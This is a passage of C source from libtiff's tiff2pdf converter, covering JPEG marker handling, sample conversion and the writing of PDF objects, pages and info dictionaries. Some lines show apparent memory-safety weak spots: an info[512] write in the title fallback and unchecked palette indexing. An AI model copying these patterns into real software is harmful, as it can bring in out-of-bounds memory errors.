2) return(0); datalen = (strip[i+1] << 8) | strip[i+2]; if (datalen < 2 || datalen >= (*striplength - i)) return(0); } switch( strip[i] ){ case 0xd8: /* SOI - start of image */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2); *bufferoffset+=2; break; case 0xc0: /* SOF0 */ case 0xc1: /* SOF1 */ case 0xc3: /* SOF3 */ case 0xc9: /* SOF9 */ case 0xca: /* SOF10 */ if(no==0){ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); ncomp = buffer[*bufferoffset+9]; if (ncomp < 1 || ncomp > 4) return(0); v_samp=1; h_samp=1; for(j=0;j<ncomp;j++){ uint16 samp = buffer[*bufferoffset+11+(3*j)]; if( (samp>>4) > h_samp) h_samp = (samp>>4); if( (samp & 0x0f) > v_samp) v_samp = (samp & 0x0f); } v_samp*=8; h_samp*=8; ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | (uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ v_samp); ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | (uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ h_samp); buffer[*bufferoffset+5]= (unsigned char) ((height>>8) & 0xff); buffer[*bufferoffset+6]= (unsigned char) (height & 0xff); *bufferoffset+=datalen+2; /* insert a DRI marker */ buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]=0xdd; buffer[(*bufferoffset)++]=0x00; buffer[(*bufferoffset)++]=0x04; buffer[(*bufferoffset)++]=(ri >> 8) & 0xff; buffer[(*bufferoffset)++]= ri & 0xff; } break; case 0xc4: /* DHT */ case 0xdb: /* DQT */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; break; case 0xda: /* SOS */ if(no==0){ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; } else { buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]= (unsigned char)(0xd0 | ((no-1)%8)); } i += datalen + 1; /* copy remainder of strip */ _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i); *bufferoffset+= *striplength - i; return(1); default: /* ignore any other marker */ break; } i += datalen + 1; } /* failed to find SOS marker */ return(0); } #endif /* This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x tilelength buffer of samples. */ void t2p_tile_collapse_left( tdata_t buffer, tsize_t scanwidth, uint32 tilewidth, uint32 edgetilewidth, uint32 tilelength){ uint32 i; tsize_t edgescanwidth=0; edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth; for(i=0;i<tilelength;i++){ _TIFFmemcpy( &(((char*)buffer)[edgescanwidth*i]), &(((char*)buffer)[scanwidth*i]), edgescanwidth); } return; } /* * This function calls TIFFWriteDirectory on the output after blanking its * output by replacing the read, write, and seek procedures with empty * implementations, then it replaces the original implementations. */ void t2p_write_advance_directory(T2P* t2p, TIFF* output) { t2p_disable(output); if(!TIFFWriteDirectory(output)){ TIFFError(TIFF2PDF_MODULE, "Error writing virtual directory to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p_enable(output); return; } tsize_t t2p_sample_planar_separate_to_contig( T2P* t2p, unsigned char* buffer, unsigned char* samplebuffer, tsize_t samplebuffersize){ tsize_t stride=0; tsize_t i=0; tsize_t j=0; stride=samplebuffersize/t2p->tiff_samplesperpixel; for(i=0;i<stride;i++){ for(j=0;j<t2p->tiff_samplesperpixel;j++){ buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride]; } } return(samplebuffersize); } tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){ uint32 sample_count=0; uint16 component_count=0; uint32 palette_offset=0; uint32 sample_offset=0; uint32 i=0; uint32 j=0; sample_count=t2p->tiff_width*t2p->tiff_length; component_count=t2p->tiff_samplesperpixel; for(i=sample_count;i>0;i--){ palette_offset=buffer[i-1] * component_count; sample_offset= (i-1) * component_count; for(j=0;j<component_count;j++){ buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j]; } } return(0); } /* This functions converts in place a buffer of ABGR interleaved data into RGB interleaved data, discarding A. */ tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount) { uint32 i=0; uint32 sample=0; for(i=0;i<samplecount;i++){ sample=((uint32*)data)[i]; ((char*)data)[i*3]= (char) (sample & 0xff); ((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff); ((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff); } return(i*3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, discarding A. */ tsize_t t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount) { uint32 i; for(i = 0; i < samplecount; i++) memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3); return(i * 3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, adding 255-A to each component sample. */ tsize_t t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount) { uint32 i = 0; uint32 sample = 0; uint8 alpha = 0; for (i = 0; i < samplecount; i++) { sample=((uint32*)data)[i]; alpha=(uint8)((255 - ((sample >> 24) & 0xff))); ((uint8 *)data)[i * 3] = (uint8) ((sample >> 16) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 8) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 2] = (uint8) (sample & 0xff) + alpha; } return (i * 3); } /* This function converts the a and b samples of Lab data from signed to unsigned. */ tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){ uint32 i=0; for(i=0;i<samplecount;i++){ if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+1] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]); } else { ((unsigned char*)buffer)[(i*3)+1] |= 0x80; } if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+2] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]); } else { ((unsigned char*)buffer)[(i*3)+2] |= 0x80; } } return(samplecount*3); } /* This function writes the PDF header to output. */ tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[16]; int buflen=0; buflen = snprintf(buffer, sizeof(buffer), "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t)"\n%\342\343\317\323\n", 7); return(written); } /* This function writes the beginning of a PDF object to output. */ tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen ); written += t2pWriteFile(output, (tdata_t) " 0 obj\n", 7); return(written); } /* This function writes the end of a PDF object to output. */ tsize_t t2p_write_pdf_obj_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "endobj\n", 7); return(written); } /* This function writes a PDF name object to output. */ tsize_t t2p_write_pdf_name(unsigned char* name, TIFF* output){ tsize_t written=0; uint32 i=0; char buffer[64]; uint16 nextchar=0; size_t namelen=0; namelen = strlen((char *)name); if (namelen>126) { namelen=126; } written += t2pWriteFile(output, (tdata_t) "/", 1); for (i=0;i<namelen;i++){ if ( ((unsigned char)name[i]) < 0x21){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if ( ((unsigned char)name[i]) > 0x7E){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if (nextchar==0){ switch (name[i]){ case 0x23: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x25: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x28: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x29: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x2F: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3C: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3E: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; default: written += t2pWriteFile(output, (tdata_t) &name[i], 1); } } nextchar=0; } written += t2pWriteFile(output, (tdata_t) " ", 1); return(written); } /* * This function writes a PDF string object to output. */ tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output) { tsize_t written = 0; uint32 i = 0; char buffer[64]; size_t len = 0; len = strlen(pdfstr); written += t2pWriteFile(output, (tdata_t) "(", 1); for (i=0; i<len; i++) { if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){ snprintf(buffer, sizeof(buffer), "\\%.3o", ((unsigned char)pdfstr[i])); written += t2pWriteFile(output, (tdata_t)buffer, 4); } else { switch (pdfstr[i]){ case 0x08: written += t2pWriteFile(output, (tdata_t) "\\b", 2); break; case 0x09: written += t2pWriteFile(output, (tdata_t) "\\t", 2); break; case 0x0A: written += t2pWriteFile(output, (tdata_t) "\\n", 2); break; case 0x0C: written += t2pWriteFile(output, (tdata_t) "\\f", 2); break; case 0x0D: written += t2pWriteFile(output, (tdata_t) "\\r", 2); break; case 0x28: written += t2pWriteFile(output, (tdata_t) "\\(", 2); break; case 0x29: written += t2pWriteFile(output, (tdata_t) "\\)", 2); break; case 0x5C: written += t2pWriteFile(output, (tdata_t) "\\\\", 2); break; default: written += t2pWriteFile(output, (tdata_t) &pdfstr[i], 1); } } } written += t2pWriteFile(output, (tdata_t) ") ", 1); return(written); } /* This function writes a buffer of data to output. */ tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) buffer, len); return(written); } /* This functions writes the beginning of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "stream\n", 7); return(written); } /* This function writes the end of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "\nendstream\n", 11); return(written); } /* This function writes a stream dictionary for a PDF stream to output. */ tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/Length ", 8); if(len!=0){ written += t2p_write_pdf_stream_length(len, output); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); } return(written); } /* This functions writes the beginning of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "<< \n", 4); return(written); } /* This function writes the end of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) " >>\n", 4); return(written); } /* This function writes a number to output. */ tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)len); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n", 1); return(written); } /* * This function writes the PDF Catalog structure to output. */ tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; written += t2pWriteFile(output, (tdata_t)"<< \n/Type /Catalog \n/Pages ", 27); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, TIFFmin((size_t)buflen, sizeof(buffer) - 1)); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); if(t2p->pdf_fitwindow){ written += t2pWriteFile(output, (tdata_t) "/ViewerPreferences <</FitWindow true>>\n", 39); } written += t2pWriteFile(output, (tdata_t)">>\n", 3); return(written); } /* This function writes the PDF Info structure to output. */ tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output) { tsize_t written = 0; char* info; char buffer[512]; if(t2p->pdf_datetime[0] == '\0') t2p_pdf_tifftime(t2p, input); if (strlen(t2p->pdf_datetime) > 0) { written += t2pWriteFile(output, (tdata_t) "<< \n/CreationDate ", 18); written += t2p_write_pdf_string(t2p->pdf_datetime, output); written += t2pWriteFile(output, (tdata_t) "\n/ModDate ", 10); written += t2p_write_pdf_string(t2p->pdf_datetime, output); } written += t2pWriteFile(output, (tdata_t) "\n/Producer ", 11); snprintf(buffer, sizeof(buffer), "libtiff / tiff2pdf - %d", TIFFLIB_VERSION); written += t2p_write_pdf_string(buffer, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); if (t2p->pdf_creator[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(t2p->pdf_creator, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0 && info) { if(strlen(info) >= sizeof(t2p->pdf_creator)) info[sizeof(t2p->pdf_creator) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_author[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(t2p->pdf_author, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if ((TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0 || TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0) && info) { if (strlen(info) >= sizeof(t2p->pdf_author)) info[sizeof(t2p->pdf_author) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_title[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(t2p->pdf_title, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){ if(strlen(info) > 511) { info[512] = '\0'; } written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_subject[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(t2p->pdf_subject, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0 && info) { if (strlen(info) >= sizeof(t2p->pdf_subject)) info[sizeof(t2p->pdf_subject) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_keywords[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Keywords ", 10); written += t2p_write_pdf_string(t2p->pdf_keywords, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } written += t2pWriteFile(output, (tdata_t) ">> \n", 4); return(written); } /* * This function fills a string of a T2P struct with the current time as a PDF * date string, it is called by t2p_pdf_tifftime. */ void t2p_pdf_currenttime(T2P* t2p) { struct tm* currenttime; time_t timenow; if (time(&timenow) == (time_t) -1) { TIFFError(TIFF2PDF_MODULE, "Can't get the current time: %s", strerror(errno)); timenow = (time_t) 0; } currenttime = localtime(&timenow); snprintf(t2p->pdf_datetime, sizeof(t2p->pdf_datetime), "D:%.4d%.2d%.2d%.2d%.2d%.2d", (currenttime->tm_year + 1900) % 65536, (currenttime->tm_mon + 1) % 256, (currenttime->tm_mday) % 256, (currenttime->tm_hour) % 256, (currenttime->tm_min) % 256, (currenttime->tm_sec) % 256); return; } /* * This function fills a string of a T2P struct with the date and time of a * TIFF file if it exists or the current time as a PDF date string. */ void t2p_pdf_tifftime(T2P* t2p, TIFF* input) { char* datetime; if (TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 && (strlen(datetime) >= 19) ){ t2p->pdf_datetime[0]='D'; t2p->pdf_datetime[1]=':'; t2p->pdf_datetime[2]=datetime[0]; t2p->pdf_datetime[3]=datetime[1]; t2p->pdf_datetime[4]=datetime[2]; t2p->pdf_datetime[5]=datetime[3]; t2p->pdf_datetime[6]=datetime[5]; t2p->pdf_datetime[7]=datetime[6]; t2p->pdf_datetime[8]=datetime[8]; t2p->pdf_datetime[9]=datetime[9]; t2p->pdf_datetime[10]=datetime[11]; t2p->pdf_datetime[11]=datetime[12]; t2p->pdf_datetime[12]=datetime[14]; t2p->pdf_datetime[13]=datetime[15]; t2p->pdf_datetime[14]=datetime[17]; t2p->pdf_datetime[15]=datetime[18]; t2p->pdf_datetime[16] = '\0'; } else { t2p_pdf_currenttime(t2p); } return; } /* * This function writes a PDF Pages Tree structure to output. */ tsize_t t2p_write_pdf_pages(T2P* t2p, TIFF* output) { tsize_t written=0; tdir_t i=0; char buffer[32]; int buflen=0; int page=0; written += t2pWriteFile(output, (tdata_t) "<< \n/Type /Pages \n/Kids [ ", 26); page = t2p->pdf_pages+1; for (i=0;i<t2p->tiff_pagecount;i++){ buflen=snprintf(buffer, sizeof(buffer), "%d", page); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if ( ((i+1)%8)==0 ) { written += t2pWriteFile(output, (tdata_t) "\n", 1); } page +=3; page += t2p->tiff_pages[i].page_extra; if(t2p->tiff_pages[i].page_tilecount>0){ page += (2 * t2p->tiff_pages[i].page_tilecount); } else { page +=2; } } written += t2pWriteFile(output, (tdata_t) "] \n/Count ", 10); buflen=snprintf(buffer, sizeof(buffer), "%d", t2p->tiff_pagecount); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n>> \n", 6); return(written); } /* This function writes a PDF Page structure to output. */ tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){ unsigned int i=0; tsize_t written=0; char buffer[256]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<<\n/Type /Page \n/Parent ", 24); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/MediaBox [", 11); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "] \n", 3); written += t2pWriteFile(output, (tdata_t) "/Contents ", 10); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/Resources << \n", 15); if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){ written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){ written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "_", 1); buflen = snprintf(buffer, sizeof(buffer), "%u", i+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if(i%4==3){ written += t2pWriteFile(output, (tdata_t) "\n", 1); } } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } else { written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } if(t2p->tiff_transferfunctioncount != 0) { written += t2pWriteFile(output, (tdata_t) "/ExtGState <<", 13); t2pWriteFile(output, (tdata_t) "/GS1 ", 5); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">> \n", 4); } written += t2pWriteFile(output, (tdata_t) "/ProcSet [ ", 11); if(t2p->pdf_colorspace & T2P_CS_BILEVEL || t2p->pdf_colorspace & T2P_CS_GRAY ){ written += t2pWriteFile(output, (tdata_t) "/ImageB ", 8); } else { written += t2pWriteFile(output, (tdata_t) "/ImageC ", 8); if(t2p->pdf_colorspace & T2P_CS_PALETTE){ written += t2pWriteFile(output, (tdata_t) "/ImageI ", 8); } } written += t2pWriteFile(output, (tdata_t) "]\n>>\n>>\n", 8); return(written); } /* This function composes the page size and image and tile locations on a page. */ void t2p_compose_pdf_page(T2P* t2p){ uint32 i=0; uint32 i2=0; T2P_TILE* tiles=NULL; T2P_BOX* boxp=NULL; uint32 tilecountx=0; uint32 tilecounty=0; uint32 tilewidth=0; uint32 tilelength=0; int istiled=0; float f=0; float width_ratio=0; float length_ratio=0; t2p->pdf_xres = t2p->tiff_xres; t2p->pdf_yres = t2p->tiff_yres; if(t2p->pdf_overrideres) { t2p->pdf_xres = t2p->pdf_defaultxres; t2p->pdf_yres = t2p->pdf_defaultyres; } if(t2p->pdf_xres == 0.0) t2p->pdf_xres = t2p->pdf_defaultxres; if(t2p->pdf_yres == 0.0) t2p->pdf_yres = t2p->pdf_defaultyres; if (t2p->pdf_image_fillpage) { width_ratio = t2p->pdf_defaultpagewidth/t2p->tiff_width; length_ratio = t2p->pdf_defaultpagelength/t2p->tiff_length; if (width_ratio < length_ratio ) { t2p->pdf_imagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_imagelength = t2p->tiff_length * width_ratio; } else { t2p->pdf_imagewidth = t2p->tiff_width * length_ratio; t2p->pdf_imagelength = t2p->pdf_defaultpagelength; } } else if (t2p->tiff_resunit != RESUNIT_CENTIMETER /* RESUNIT_NONE and */ && t2p->tiff_resunit != RESUNIT_INCH) { /* other cases */ t2p->pdf_imagewidth = ((float)(t2p->tiff_width))/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))/t2p->pdf_yres; } else { t2p->pdf_imagewidth = ((float)(t2p->tiff_width))*PS_UNIT_SIZE/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))*PS_UNIT_SIZE/t2p->pdf_yres; } if(t2p->pdf_overridepagesize != 0) { t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_pagelength = t2p->pdf_defaultpagelength; } else { t2p->pdf_pagewidth = t2p->pdf_imagewidth; t2p->pdf_pagelength = t2p->pdf_imagelength; } t2p->pdf_mediabox.x1=0.0; t2p->pdf_mediabox.y1=0.0; t2p->pdf_mediabox.x2=t2p->pdf_pagewidth; t2p->pdf_mediabox.y2=t2p->pdf_pagelength; t2p->pdf_imagebox.x1=0.0; t2p->pdf_imagebox.y1=0.0; t2p->pdf_imagebox.x2=t2p->pdf_imagewidth; t2p->pdf_imagebox.y2=t2p->pdf_imagelength; if(t2p->pdf_overridepagesize!=0){ t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); } if(t2p->tiff_orientation > 4){ f=t2p->pdf_mediabox.x2; t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2; t2p->pdf_mediabox.y2=f; } istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1; if(istiled==0){ t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation); return; } else { tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth; tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength; if( tilewidth > INT_MAX || tilelength > INT_MAX || t2p->tiff_width > INT_MAX - tilewidth || t2p->tiff_length > INT_MAX - tilelength ) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; return; } tilecountx=(t2p->tiff_width + tilewidth -1)/ tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx; tilecounty=(t2p->tiff_length + tilelength -1)/ tilelength; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth= t2p->tiff_width % tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength= t2p->tiff_length % tilelength; tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles; for(i2=0;i2<tilecounty-1;i2++){ for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - 